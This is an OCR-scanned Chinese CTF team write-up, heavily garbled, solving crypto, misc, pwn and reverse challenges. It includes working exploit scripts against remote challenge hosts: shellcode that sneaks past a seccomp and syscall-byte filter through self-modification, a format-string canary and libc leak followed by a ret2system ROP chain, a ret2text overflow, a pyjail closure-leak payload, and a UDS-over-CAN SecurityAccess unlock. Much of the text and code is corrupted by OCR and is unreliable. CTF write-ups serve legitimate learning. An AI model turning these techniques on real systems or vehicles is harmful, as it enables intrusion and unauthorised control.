itk 2026

CRYPTO

ZE
L2 babyrsa
A8 LE/pubZz [FRILUREI—AEIRE, BEIZRIBR TESAMIT

WERIAEE, RATETe=5EEMNEMIEE B G, BIESH3IAH, ZEEZEAAMAILIERImM
(mA5<n1*n2*n3)

(GRS

1 Admport json

2 dimport math

3 dmport urllib.request

4 from Crypto.Util.number import long_to_bytes

5 url = "http://challenge.cyclens.tech:31163/pub"

6 pairs = []

7 for _ in range(3):

8 data = json.loads(urllib.request.urlopen(url, timeout=15).read())
9 pairs.append((int(data["n"], 0), int(data["c"], 0)))

10 N = math.prod(n for n, c in pairs)
11 X =0

12 for n, c in pairs:

13 q=N//n

14 x = (x +c * g * pow(g, -1, n)) %N
15 1o =0

16 hi =1

17  while hi *xx 5 <= x:

18 hi *= 2

19 while lo + 1 < hi:

20 mid = (lo + hi) // 2

21 if mid ** 5 <= x:

22 lo = mid

23  else:

24 hi = mid

25 assert lo ** 5 ==

26  print(long_to_bytes(lo).decode())

flag{br7f3evv-wivt-4dx-8w06-wdbmdq4zkvvTi}



g
BB AYECDSA nonceZk 4 a) &

XBEIF ESEZNIFARTFATE (sk=h+rd modn), 3 1MRF, 3NKREE, ATLUHTEE B
fRTAb IR

HEDIR

1 Admport hashlib

2 N=OxFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCEGAF48A03BBFD25E8CD0364141

3 P=OxFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F

4 G=
(Ox79BE667TEF9DCBBAC55A06295CE870BO7029BFCDB2DCE28D959F2815B16F81798 ,0x483ADAT72
6A3C4655DA4FBFCOE1108A8FD17B448A68554199C47DOSFFB10D4B8)

5 msgs=[b"The formula was changed at 08:00.",b"Do not reuse the old starter
culture.",b"The next batch needs exactly three signatures."]

6 r=
[65049822350966932011298934114289904515865496782440722029795500440883520338534,
92756252265060314461255136684718836924443796463608387067614503909037430857587,3
1948759506074605924676711292860385681345545545112383536856476730642567952767 ]

7 S=
[100608169770347717972106429028463000806487293192131952709224642465583570516580
,89196366574574457770176156726838488317517463979668061585678672599486198457015,
102790519568478717091382156526601044304877460541578979733346906916332777610816]
z=[1int.from_bytes (hashlib.sha256(m).digest(),"big")%N for m in msgs]
a=[[s[0],0,-r[0],z[0]],[s[1],s[1],-r[1],z[1]],[s[2],2*s[2],-r[2],2[2]]]

10 for c 1in range(3):

11 p=next(i for i in range(c,3) if a[i][c]%N)

12 alc],alpl=alp],alc]

13 inv=pow(al[c] [c],-1,N)

14 alc]=[(x*inv)%N for x in al[c]]

15 for i in range(3):

16 if dil=c:

17 f=al[i][c]

18 alil=[(al[il[j]-f*alcl[]j])%N for j in range(4)]

19 d=a[2][3]

20 ct=bytes.fromhex("c448e99541a8336401c846816105c19be3870e48c80385a22e2d29cd886e7
472977€930cde2399b2d5fb")

21  seed=hashlib.sha256(d.to_bytes(32,"big")) .digest()

22 stream=b"".join(hashlib.sha256(seed+i.to_bytes(4,"big")).digest() for i 1in
range((len(ct)+31)//32))

23 print(bytes(x?y for x,y in zip(ct,stream)).decode())

flag{3f7f4ca9-5c20-4ac9-ael6-4a6f83d318ef}



MISC

w3lcOm3
TEF, XAARSKIEXARENR]

X2 ZE
Bl A R FRIERTE IR LR 2 —Makeflag

HIFWflagiTE — 488, EIBEE
https://gm.qq.com/q/Cp6t88hdQW#flag{St3g4NOgriphy}

XE # FHAABRRANER, FIUEEARqqEIEEEE, T3BRE

free wifi
Ehttpthil, SHERABIR WX A

| http

No. Time Source Destination Protoco Lengt Info
4 0.006001 16.13.37.23 172.16.2.80 HTTP 161 GET /index.html HTTP/1.1
5 8.009001 172.16.2.80 16.13.37.23 HTTP 198 HTTP/1.1 208 OK (text/plain)
10 @.038001 16.13.37.23 172.16.2.80 HTTP 164 GET /fassets/app.js HTTP/1.1
11 @.e41e01 172.16.2.8@ 10.13.37.23 HTTP 172 HTTP/1.1 200 OK (text/plain)
16 ©.070001 16.13.37.23 172.16.2.80 HTTP 163 GET /debug/status HTTP/1.1
17 ©.073001 172.16.2.80 10.13.37.23 HTTP 213 HTTP/1.1 208 OK (text/plain)
38 ©.702440 16.13.37.23 172.16.2.80 HTTP 157 GET /logout HTTP/1.1
39 8.765440 172.16.2.80 16.13.37.23 HTTP 141 HTTP/1.1 288 OK (text/plain)

HEZEBREER, /debug/statusE—1 xorkey=latte
[EBf$/R T note=temporary dns diagnostic enabled
BI1E—Tdnsii&, RIAF00-030 MRS

26 B.31/320 19.13.3/.23 B.8.8.8 DNS /1 Standard query dxY9t14 A example.org

27 ©.362675 10.13.37.23 8.8.8.8 DNS 72 Standard query @x2ebf A hm.baidu.com

28 0.384869 10.13.37.23 8.8.8.8 DNS 85 Standard query @x6644 A push.services.mozilla.com

29 0.482131 18.13.37.23 8.8.8.8 DNS 184 Standard query 8x3308 A 00-550246125208591559.img-cache.cdn-sync.net
30 ©.472454 10.13.37.23 8.8.8.8 DNS 80 Standard query 0xe63f A update.microsoft.com

31 ©.501162 10.13.37.23 8.8.8.8 DNS 104 Standard query ©x3381 A 01-560e57455951095844.img-cache.cdn-sync.net
32 0.565971 10.13.37.23 8.8.8.8 DNS 184 Standard query @x3382 A 02-598458531859@35c84. img-cache.cdn-sync.net
33 0.642067 10.13.37.23 8.8.8.8 DNS 76 Standard query @xa33a A cdn.jsdelivr.net

34 8.658364 10.13.37.23 8.8.8.8 DNS 184 Standard query 8x3303 A 03-45478655034315535a.img-cache.cdn-sync.net

BEiEXor@ R 178y, @iEFxor

REGIR
cipher = bytes.fromhex(

""550246125208591559560e57455951095844590458531059035¢c0445470655034315535a"

1

2

3 )

4 key = b"latte"
5

6

7

flag = bytes(b » key[i % len(key)] for i, b in enumerate(cipher))
print(flag.decode())


https://qm.qq.com/q/Cp6t88hdQW#flag{St3g4N0gr4phy}

8

# 9c2fr7d8a-3b61-4e90-a42d-1f0el3c9b7a66

F5—8uuid, B_Lflag(istaI AT
flag{9c2f7d8a-3b61-4€90-a42d-f0e13c9b7a66}

Nailoong_Bike
AEL T MY, firmware_note.txt 2i@BEMY, bike_algo.c Bkey®Iit&E 5%,
keyRiZIEELRLAH, BIRSB[IHE—Tnoncefseed, FHitEHHkeyk SENT]

R
ISR
1 #!/usr/bin/env python3
2 """Solver for the Nailoong Bike UDS-over-CAN challenge.
3
4 The TCP side is assumed to carry one textual CAN frame per line.
5 representations are supported:
6
7 600#0322F1A0
8 600 4 03 22 F1 AO
g nun
10
11 from __future__ import annotations
12
13 1import argparse
14  dmport re
15 import socket
16  from dataclasses import dataclass
17
18 REQ_ID = 0x600
19 RESP_ID = 0x608
20 MASK32 = OxFFFFFFFF
21
22 def rol32(value: int, bits: int) -> int:
23 bits &= 31
24 return ((value << bits) | (value >> (32 - bits))) & MASK32
25
26 def bike_mix32(value: int) -> int:
27 value A= Ox6E61696C
28 value = rol32(value, 5)
29 return (value + Ox1F123BB5) & MASK32
30
31 def calculate_key(seed: int, nonce: int) -> int:
32 return bike_mix32(seed * nonce)

Two common



33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

@dataclass
class CanFrame:
can_id: int

data: bytes

class TextCan:
HASH_RE = re.compile(r"(?4)(?:0x)?([0-9a-f]{3,8})#([0-9a-f]+)")
SPACE_RE = re.compile(
r'"(29)M\s*(?2:0x)?2([0-9a-f]1{3,8})\s+(2:\[2(\d+)\]?\s+) 2"
r'((2:[0-9a-f]1{2}(?:\s+[|$))+)$"

def __dnit__(self, host: str, port: int, wire: str, timeout: float):
self.sock = socket.create_connection((host, port), timeout=timeout)
self.sock.settimeout (timeout)
self.file self.sock.makefile("rwb", buffering=0)
self.wire = wire

def close(self) -> None:
self.file.close()
self.sock.close()

def send(self, frame: CanFrame) -> None:
if len(frame.data) > 8:
raise ValueError("a classic CAN frame cannot contain more than 8

bytes'")
if self.wire == "hash":
line = f"{frame.can_id:03X}#{frame.data.hex() .upper()}\n"
else:
octets = " ".join(f"{byte:02X}" for byte in frame.data)

line = f"{frame.can_id:03X} {len(frame.data)} {octets}\n"
print(f"> {line}", end="")
self.file.write(line.encode("ascii'))

def recv(self) -> CanFrame:
while True:
raw = self.file.readline()
if not raw:
raise EOFError("the TCP service closed the connection')
line = raw.decode("ascii", errors="replace").strip()
print(f"< {line}")

match = self.HASH_RE.search(line)
if match:
return CanFrame(int(match.group(l), 16),
bytes.fromhex (match.group(2)))



78
79
80
81
82

83

84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119

120
121

match = self.SPACE_RE.match(line)
if match:
data = bytes.fromhex(match.group(3))
declared_length = int(match.group(2)) if match.group(2) else

len(data)

return CanFrame(int(match.group(1), 16),

data[:declared_length])

class UdsClient:

def

def

def

number")

__init__(self, bus: TextCan):
self.bus = bus

_next_response_frame(self) -> bytes:
while True:

frame = self.bus.recv()

if frame.can_id == RESP_ID:

return frame.data

request(self, payload: bytes) -> bytes:
if len(payload) > 7:

raise ValueError("this solver only needs single-frame requests")
self.bus.send(CanFrame(REQ_ID, bytes([len(payload)]) + payload))

first = self._next_response_frame()
if not first:
raise ValueError("empty CAN response")

frame_type = first[0] >> 4
if frame_type ==
response = first[l : 1 + (first[0] & OxOF)]
elif frame_type ==
if len(first) < 2:
raise ValueError("truncated ISO-TP first frame")
total = ((first[0] & OxOF) << 8) | first[1]
assembled = bytearray(first[2:])
self.bus.send(CanFrame(REQ_ID, b"\x30\x00\x00"))
expected_sequence = 1
while len(assembled) < total:
consecutive = self._next_response_frame()
if not consecutive or consecutivel[0] >> 4 != 2:
raise ValueError("expected an ISO-TP consecutive frame")
if consecutive[0] & OxOF != expected_sequence & OxOF:

raise ValueError ("wrong ISO-TP consecutive-frame sequence

assembled.extend(consecutive[l:])
expected_sequence += 1



122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138

13
140
141
142
143

144

145
146
147
148
149
150
151
152
153

154
155
156
157

158
359
160
161
162
163

response = bytes(assembled[:total])
else:
raise ValueError (f"unexpected ISO-TP frame type {frame_typel}")

if response.startswith(b"\x7f"):
raise RuntimeError (f"UDS negative response: {response.hex(' ')1}")

return response

def require_prefix(response: bytes, prefix: bytes, name: str) -> bytes:
if not response.startswith(prefix):
raise RuntimeError(
f'"unexpected {name} response {response.hex(' ')}; "
f'"expected prefix {prefix.hex(' ')}"
)

return response[len(prefix) :]

def solve(host: str, port: int, wire: str, timeout: float, byteorder: str) ->
bytes:
bus = TextCan(host, port, wire, timeout)
try:
uds = UdsClient(bus)

nonce_raw = require_prefix(uds.request(bytes.fromhex("22 F1 A0")),
bytes.fromhex("62 F1 A@"), "nonce")

seed_raw = require_prefix(uds.request(bytes.fromhex("27 01")),
bytes.fromhex("67 01"), "seed")

if len(nonce_raw) < 4 or len(seed_raw) < 4:

raise RuntimeError('"nonce or seed 1is shorter than 32 bits")

nonce = int.from_bytes(nonce_raw[:4], byteorder)

seed = int.from_bytes(seed_raw[:4], byteorder)

key = calculate_key(seed, nonce)

print(f"[*] nonce=0x{nonce:08x} seed=0x{seed:08x} key=0x{key:08x}")

key_response = uds.request(bytes.fromhex("27 02") + key.to_bytes(4,
byteorder))

require_prefix(key_response, bytes.fromhex("67 02"), "unlock™")

routine_response = uds.request(bytes.fromhex("31 01 42 42"))
flag = require_prefix(routine_response, bytes.fromhex("71 01 42 42"),
"flag routine")
return flag.rstrip(b"\x00")
finally:

bus.close()

def dinteger(value: str) -> -int:

return int(value, 0)



164
165 def main() -> None:

166 parser = argparse.ArgumentParser (description=__doc__)

167 parser.add_argument("host", nargs="7?")

168 parser.add_argument("port", nargs="?", type=int)

169 parser.add_argument("--wire", choices=("hash", '"space"), default="hash")

170 parser.add_argument ("--byteorder'", choices=("big", "little"),
default="big")

171 parser.add_argument("--timeout", type=float, default=5.0)

172 parser.add_argument("--seed", type=integer, help="only calculate a key")

173 parser.add_argument ("--nonce", type=integer, help="only calculate a key'")

174 args = parser.parse_args()

175

176 if args.seed is not None or args.nonce is not None:

177 if args.seed 1is None or args.nonce is None:

178 parser.error ("--seed and --nonce must be supplied together")

179 print(f"ox{calculate_key(args.seed, args.nonce):08x}")

180 return

181

182 if args.host is None or args.port is None:

183 parser.error ("HOST and PORT are required unless --seed/--nonce are
used")

184

185 flag = solve(args.host, args.port, args.wire, args.timeout, args.byteorder)

186 try:

187 print(f"[+] flag: {flag.decode('utf-8')}")

188 except UnicodeDecodeError:

189 print(f"[+] flag (hex): {flag.hex()}")

190

191 if __name__ == "_main__":

192 main()

193

Nailoong_Bus

B EIA—@Ed MQTT. DolP. CAN. LIN #1J1939 th{E@Bipvlii B+, Bir5em ECU M)
B%MH, 15 Engine B9 SecurityAccess key, BHIITERE routine,

Zs#h Nailoong_Bike/bike_algo.c #AH T ERAGEEBRE:

(GRS

1 uint32_t bike_mix32(uint32_t value) {
2 value A= Ox6e61696¢C;

3 value = rol32(value, 5);

4 return value + 0x1f123bb5;



BusfY engine_auth_stub.asm BH Engine key NRIAR/N 32 (ERHEHIARIZRE:

(PR

1 folded = seed " mgtt_nonce " route_token * lin_word " bcm_word * j1939_word
2 key = bike_mix32(folded)

MQTT: FREVRFHABLHEIFIERN
MQTT REEINE. EHZEEITH # , aJKEIFE retained HE.:
e bus/public/notice : AFF VIN. EE&HNIZiEHISAIIRT;

e bus/NLBUS-2046/telemetry/diag : HETZHDIRE. nonce. BEZIFERIBAUNTE
CAN ¥%,

PENEERRENENRBNT:

AGER
1 doip target: OxOQEQ0
2  LIN hood: ID 0x12, data 01
3 LIN seat secret: ID 0x15, data AA55
4 J1939 request: DAFEOO
5 J1939 brake command: 18EF1090#4E42533101
6 CAN chain:
7 720:1003
8 T20:22F1B0
9 730:2701
10 730:2702
11 740:1003
12 740:3101B0O55
13 700:1003
14 700:31011337
[z topic &% :
AGIR

1  topic: bus/NLBUS-2046/cmd/fleet

2 payload: {"maintenance":true}

BEfE telemetry H 2R maintenance: true , FHEAHAE MQTT nonce:



mqtt_nonce = 0xf5686b2c

nonce SFEREEIT, HILFFE maintenance FRFMBVIZETIEE N,
LIN: #iA hood FiHY seat BAEF
M E2gH LIN 8 classic protected identifier #1 enhanced checksum,
HEEE:

R84 1D fR®¥F PID b3+ U] 0o 2
0x12 0x92 559201 6c¢ 55929001db
0x15 0x55 5555aa55aa 555554 db fd 25

57

FE—MHHREIEEE 90 01 Bl MAINT_POS_OK , & hood/EER4EIF(IE B iH o
LM AAS5 Z SRR EGE A
lin_word = 0x54dbfd25

5190 hood IERAVILERILLEF S ~(0x92 + Ox01) = Ox6¢ ; seat R A 0x57 HWEIIIFE
payload 54 db fd 25,

J1939: XEX VCU FHigEHZFHITD

FeRi%E PGNIEK:

18EAFF80#DAFEQ0Q

x[E]:

18FEDA9O#594EE8840001FFFF

AN EREF T

j1939_word = 0x594ee884

SAIEIRMIESRAY proprietary command ¥ FHEZESITNI]:
18EF1090#4E42533101

B IO /g :

18E8FF90#ACCE010000000000

BRIERK FEDA BY, IREMIM 00 T 01, 5B brake gate BE(il
DolP: routing activation 5 route token

DolP fEtRESL: hRAS 02 . hRA fd . F5&IX Routing Activation (payload type
0x0005 ) :

02fd0005000000070e800000000000
REIM ox10 REIERIN:



02fd0006000000080e80000010000000

ZJGME target = 0x0e00 &iX DolP Diagnostic Message (payload type 0x8001 ) . Fc#H A
T RAE:

1003 -> 50030032014

HIXEY DID:

AR

1 22 f1 a®@ -> 62 fl a0 f5 68 6b 2c
2 22 f1 al -> 62 fl al do 13 ea 18

Heb F1A0 5 MQTT telemetry BY&H1 nonce —%(; AT Engine iZ&H route token 79:
route_token =0xd013eal8

E1E5ER maintenance. LIN #1 J1939 RiE A 2 Aii%RE, =iR[E] 7f 22 7e, 22 f1 88 AILL
FTi%BX topology, HHIABIT 0x0e00 o

CAN: HY BCM =#0 SecurityAccess seed
CAN BRSERAX AN CAN_ID#DATA , HAEMN ISO-TP WE— I FRHEKE.
73t BCM (0x720 ) HAY B=1EH%E DID:

EiR

1 T20#021003 -> T728#065003003201F4

2 T20#0322F1B0O -> 728#0762F1BO1D19CA17
Itk :

hgIR

1 bcm_word = 0x1d19cal7

[ 0x730 5K SecurityAccess seed:
AT ER

1 T30#022701 -> 738#066701426F9ABE
2 seed = 0Ox426f9%abe

FRE BMEIRBEXETRHNNEF T FER. A



erotfolded = 426f9abe
2 A f5686b2c
3 A d0l1l3eal8
4 A 54dbfd25
5 A 1d19cal7
6 A 594ee884
7 = 7798c43c
8

9 key = rol32(7798c43c " 6e61696c, 5) + 1f123bb5
10 = 5e47e5h8

123 key:

730#0627025E47E5B8 -> 738#026702
6702 iBA SecurityAccess BRI,
BMS 5848 Engine routine

SR B BMS service arm:;

DR
1 7404021003 -> 748#065003003201F4
2 740#043101B055 -> 748#057101B05501

B [51117 Engine routine:

AR
1 700#021003 —> T708#065003003201F4
2 700#0431011337 -> 708#102E71011337666C

AN E ISO-TP %, XMEZEIE—NIEFRESZIL: Flow Control EEXA ML ID 0x708 ,
MAZEEWIEKID 0x700 :

708#300000
Z e ERES

AR

708#2161677B6A617978
TO8#2261727A322D7TATT
708#2330662D3478772D
708#2438776D6A2D6C36
708#25676D6875706871

a A W N B



6  TO8#266E7TTAT6TD

%32 UDS routine fARNZ3k 71 01 13 37 #H3IZISO-TP REHHZENEI153:

flag{jayxarz2-zwOf-4xw-8wmj-l6gmhuphgnwzv}

2R Typhon
pyjailfl9@, &ixXTyphon, FFAREFT (
R TR

AST BREAFFRIB+HHHEHE"_ closure_"
FBformat-stringZ @ M+ 2R 5 | BINLH B cellRYflag

HAETIR

1 {box.ping.__closure__[1].cell_contents[i]}

T ikExbanT flag{i4k, REEFRFAFIRL

Payload:

(SRS

1 render("{box.ping."+"_"x2+"clo"+"sure"+"_"%2+"
[l] .Cell+ll'L'Lll_‘_ll_ll+llconll+lltents [3] }ll)

— BRI

HEDIR

#!/usr/bin/env python3
""" eak omega (env FLAG) char-by-char via box.ping closure through

str.format."""

3  dmport socket

4  dmport sys

5 dmport time

6

7 HOST, PORT = '"challenge.cyclens.tech", 30796

8

9 def payload(i: int) -> str:

10 # final template: {box.ping.__closure__[1].cell_contents[i]}

11 # banned substrings are built by concatenation: "__", "closure",

"contents"

12 return ('render("{box.ping."+"_"x2+"clo"+"sure"+"_"%2'

"eell ll}



13 "+ 1] .ce"+"1L"+"_"+"con"+"tents[%d]}") "' % i)
14
15 def grab(expr: str) -> str:
16 for attempt in range(20):
17 try:
18 return _grab(expr)
19 except (TimeoutError, ConnectionError, OSError) as e:
20 print(f" retry {attempt}: {e}", file=sys.stderr)
21 time.sleep(2 + attempt * 2)
22 raise SystemExit("too many failures'")
23
24  def _grab(expr: str) —-> str:
25 with socket.create_connection((HOST, PORT), timeout=20) as s:
26 f = s.makefile("rw", newline="\n")
27 buf = ""
28 while not buf.endswith(">>> "):
29 c = f.read(1)
30 if not c:
31 raise ConnectionError("server closed before prompt")
32 buf += ¢
33 f.write(expr + "\n")
34 f.flush()
35 return f.readline().strip()
36
37 flag = "fla"
38 for i 1in range(3, 128):
39 r = grab(payload(i))
40 time.sleep(l)
41 if r.startswith("Nope:"):
42 print(f"[!] dindex {i}: {r}", file=sys.stderr)
43 break
44 flag += r
45 print(f"[{i}] {r!r} -> {flag}")
46 if r == "}":
47 break
48
49  print("\nFLAG:", flag)
PWN
BabySandbox

ERramEE mmap KEE—REE RWX NREBIRE:

buf_2

= (char *)mmap(OLL, 0x1000uLL, 7, 34, -1, OLL);

MEIEFRZIZE 0x100 FT shellcode:



v5 = read(0,

RIGEERIT
((void (%) (void))buf) ();

Rtk B R4S Birik 2 i)
EF1EFFE seccomp B, SIBHIEITIES

buf, 0x100ulLL);

15—E& shellcode,

XY shellcode:

TR

1 if ( *buf_1 == "\xOF' && buf_1[1] == 5 )

2 {

3 puts("No syscall allowed in shellcode!");
4 exit(l);

5 1}

B FELE x86_64 HY:

TREEZRLIAR

BEX

o (BRI

o ENSEMIES
e int Ox80

o Hfth75 305 syscall
B bR E

(GRS

© o N oo 0 b W N BR

=
©

0000:
0001:
0002:
0003:
0004:
0005:
0006:
0007:
0008:
0009:

0x20
0Ox15
0x06
0x20
0x15
0Ox15
0x15
0Ox15
0x06
0x06

0x00
0Ox01
0x00
0x00
Ox04
0x03
0x02
Ox01
0x00
0x00

FrLUX B EHorwkIFT &
AT AR RWX R ERBE B REE:  xor

syscall
RBYERHEF.
QT T BENREST

Ox00
Ox00
Ox00
Ox00
Ox00
Ox00
Ox00
Ox00
Ox00
Ox00

*“ E: #/Q

Ox00000004
OxcOOOO03e
OXx00000000
OXx000000060
Ox00000101
Ox00000000
Ox00000001
Ox0000003c
Ox00000000
Ox7fffoO00

BRI

P

A = arch

if (A == ARCH_X86_64) goto 0003
return KILL

A = sys_number

if (A == openat) goto 0009

if (A == read) goto 0009

if (A == write) goto 0009

if (A == exit) goto 0009

return KILL

return ALLOW

byte ptr [address], 1



: oe k. of

FZE: 0e 05 MLEMK: of 05
SAfE CPUHLITEIEM syscall,
TE4 Hexpo

RIEIR

1 from pwn import *

2

3  context.arch="amd64'

4 context.log_level="'debug'
5

6

7 sc = asm("""

8 mov rax,257

9 mov rdi,-100

10 lea rsi,[ript+flag]
11 xor rdx,rdx

12 xor rl0,rl0

13

14 lea rbx, [rip+3]

15 xor byte ptr [rbx],1
16 .byte 0x0e,0x05

17

18

19 mov rdi,rax

20 XOor eax,eax

21 mov rsi,rsp

22 mov rdx,0x50

23

24 lea rbx, [rip+3]

25 xor byte ptr [rbx],1
26 .byte 0Ox0e,0x05

27

28

29 mov eax,l

30 mov edi,1l

31 mov rsi,rsp

32 mov edx,0x50

33

34 lea rbx, [rip+3]

35 xor byte ptr [rbx],1
36 .byte 0x0e,0x05

37

38

39 flag:



40
41
42
43
44
45
46
47
48
49
50

.string "/flag"
llllll)

print(len(sc))
assert b'\x0f\x05' not in sc

jo = remote('challenge.cyclens.tech',32510)

#io=process('./pwn')

jo.send(sc)

jo.interactive()

flag{br9fmkjo-fu8l-4yo-89mb-gwzacayfpfzmo}

ezpwn

BIMEFIKE T W MEIE feedback #l query o

(GRS

1
2
3
4
5
6
7
8
9

10
11
12
13
14

unsigned __int64 feedback()

{

char buf[40]; // [rsp+Oh] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf('"Leave a comment: ");
read(0, buf, 31ulLL);

buf[31] = 0;

printf("Your comment: ");
printf(buf);

putchar (10);

return v2 - __readfsqword(0x28u);

XPMRBEFERRUFEFRRE. BT LLEd feedbackiFE|canaryMlibcE ik,

ISR
1
2 {
3
4
5
6
7

unsigned __int64 query()

char buf[40]; // [rsp+Oh] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Enter query: ");



8 read(0, buf, 0x100uLL);

9 printf("Processing query: %s\n", buf);
10 return v2 - __readfsqword(0x28u) ;
11}

XPMRBEEERZSF NG L. FIUSESE LEMELRAVESIE, M LUEEETret2system
1T T BT EREFAFE pop rdi o FRAIAIEMIibc.so.6 A, ARER—TEITT.

TEsA Hexpo

AGIR
1 from pwn import *
2  context.log_level = 'debug'
3
4 Hdo = remote('challenge.cyclens.tech',31997)
5 #170 = process('./pwn')
6 elf = ELF('./pwn"')
7 libc = ELF('./libc.so0.6")
8 def ch(choice):
9 jo.sendlineafter(b'> ',str(choice))
10 def feedback(pl):
11 ch(1)
12 jo.sendafter(b': ',pl)
13 def query(pl):
14 ch(2)
15 jo.sendafter(b': ',pl)
16  feedback(b'%11$p%17Sp")
17 do.recvuntil(b'comment: ')
18 canary = int(io.recv(18),16)
19  success(hex(canary))
20 base = int(io.recv(14),16) - Ox2alca
21  success(hex(base))
22  binsh = base + next(libc.search(b'/bin/sh\x00"'))
23 sys = base + libc.sym.system
24  rdi = base + 0x10f78b
25 pl = b'a'x0x28 + p64(canary) + p64(0) + p64(rdi) + p64(binsh) + p64(rdi+l) +

p64(sys)
26  query(pl)
27 do.interactive()

flag{qg2fomrb-Ilfu7-4ie-8pfr-gd9mkr8dbomOn}

ret2text



——+int sign_in()
{
_BYTE buf[48]; // [rsp+Oh] [rbp-30h] BYREF

puts("Submit your signed access token.");
printf("> ");
read(0, buf, OxAQuLL);
return puts("[-] signature rejected");
10 }

1+
2
3
4
5 puts("Real Sign-In Gateway");
6
7
8
9

TR R IEX B Ysign_inkRI K,
XEBEERED. AGRIBETEE RN ret2text, KITRBZNATUMERFRIIEIIRE.

AAZIR

1 dint admin_shell()

2 {

3 return system("/bin/sh");
4 }

FrA BBk BT IR AT AT o

RIGIR

1 from pwn import *

2  context.log_level = 'debug'

3

4 Hdo = remote('challenge.cyclens.tech',30183)
5 #170 = process('./pwn')

6 elf = ELF('./pwn"')

7  backdoor = 0x40117a

8 pl = b'a'x0x38 + p64(backdoor)

9 do.sendafter(b'> ',pl)

=
(o]

jo.interactive()

flag{zgs2fatw-cdzc-43g-8enr-Oelfhlrjcwswy}

REVERSE
base64

(GRS



1 1int __fastcall main(int argc, const char *xargv, const char **envp)
2 {

3 char Strl[256]; // [rsp+20h] [rbp-60h] BYREF
4 _BYTE v5[128]; // [rsp+120h] [rbp+AGh] BYREF
5

6 _main(argc, argv, envp);

7 _mingw_printf("input flag: ");

8 _mingw_scanf ("%127s", v5);

9 custom_base64(v5, Strl);

10 if ( !strcmp(Strl, _data_start__) )

11 puts_0("Correct!");

12 else

13 puts_0("Wrong!");

14 return 0;

15 }

IDAZ M, RIMETXLflag=FfFeRmViZEE, 17 _data_start_, 7
WjueW3plKQYiLANtIX1iJgifIQNUWANGVQxuKfOOKAV2KQROKAZtIAY9

FEERfE—T custom_base64 KEUIZIE

1NT V3 // eax

_BYTE #*result; // rax

unsigned int v5; // [rsp+24h] [rbp-2Ch]
int v6; // [rsp+2Ch] [rbp-24h]

unsigned __int8 v7; // [rsp+4ch] [rbp-ah]
unsigned __int8 v8; // [rsp+47h] [rbp-9h]
int v9; // [rsp+48h] [rbp-8h]

int vi18; // [rsp+48h] [rbp-8h]

int i; // [rsp+4Ch] [rbp-4h]

vEe = strlen(al);
v9 = 8;
for ( 1 =8; 1 < vh; 1 += 3 )
1
if ((ve <= 1 +1)
Vg = 03
else
vB = al[i + 1];
if (v <= 1 + 2 )
v7 = 0;
else
v? = al[i + 2];
v5 = (vB << 8) | ((unsigned _ int8)al[i] << 16) | v7;
*(_BYTE #*)(v9 + a2) = aZyxabcdefghijk[(v5 »> 18) & @x3F];
*(_BYTE *)(v9 + 1 + a2) = aZyxabcdefghijk[(v5 >> 12) & @x3F];
v2 = v9 + 2;
vle = v9 + 3;

- ~  x R

RAXMaZ—BFAEHE, R EM*KRbase64



.rdata:0000000140012000 ; Segment permissions: Read

.rdata:0000000140012600 _rdata segment para public 'DATA' usebtd
.rdata:0000000140012000 assume cs:_rdata
.rdata:20000001408012000 jorg 148012000h
v .rdata:0p00000140012000 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@123456789+/",0
.rdata:0000000140012000 ; DATA XREF: custom_base64+1@To
.rdata:0000000140012041 align 8
.rdata:0p000000140012048 aZyxabcdefghijk db 'ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopgrstuvw@®123456789+/",0
.rdata:0000000140012048 ; DATA XREF: custom_base64+1BTo
.rdata:0pe0000148012088% alnputFlag db "input flag: ',@ ; DATA XREF: main+15To
.rdata:0pe00001400120896 al27s db "%127s',0 ; DATA XREF: main+2BTo
A md ~ ARAAARGT AAAA AN . et s Do LT
valnal
FRZENR]
Recipe BB E input
Nj uew3p1I(QYi LANTIX11] gi‘FIQNUWANqVQXU KfOOKAV2ZKQRAKAZt ]AYq
From Base64 © n
Alphabet

ZYXABCDEFGHIJKLMNOPQRSTUVIWzyxabcdefghijklm
Remove non-alphabet chars D Strict mode

mpc 56 = 1

Output

|flag{550e8400-e29b-41dA- 2716 -146655440000 }

driv3r
XERET

AR

1  Driv3rRebuildRuntimeBlob(gNonce)

2 {

3 _bss_start__[i] = Driv3rNonceMaskByte(gNonce,i) * _data_end__[i];
4 }

SAf5 GetSeg :
AGER

1 v6 = Driv3rNonceMaskByte(gNonce, v7+i) " v5;
2  *xout = v6 M Driv3rStaticKeyByte(v7+i);

Hrp:

(GRS

1 v5 = _bss_start__[v7+i]



2PN

(PR

out = (_bss A nonceMask) * staticKey

(data * nonceMask * nonceMask) ” staticKey

data " staticKey

BHIFM flag AL E#EM .rdata:data_end # gXorkKey BHRE,

e
ISR
1 data = bytes.fromhex(
2 "ff c4 4a 25 3c c9 f8 5f ab 26 "
3 "15 cc al 6¢ 8d b9 9a 4f 2d 69 "
4 "60 Ob el bb b4 73 57 6f ac 15 "
5 "f3 ea 4e 12 19 ab fe 48 24 8c "
6 "45 79 54 d5 5d 6e 5b el"
7))
8
9 key = b"driv3r!"
10
11  def rotl8(x,n):
12 n &= 7
13 return ((x << n) | (x >> (8-n))) & Oxff if n else x
14
15 flag = b""
16
17 for i,c in enumerate(data):
18 k = (
19 key[i % 7]
20 A rotl8(i N OXA7, 1 & 7)
21 A ((61l%x1 + 90) & Oxff)
22 )
23 flag += bytes([c * k])
24
25 print(flag)

flag{dyn4mic_k3rn3l_dbg_or_bust}

Pigdogcat
—EmMCHIR, RAMGZRIEUANEE XA Aflag. RERIRE, MEEXRRIZM! | 1 FER



HILE T FlagPluginBViEHF LUERRE R T,
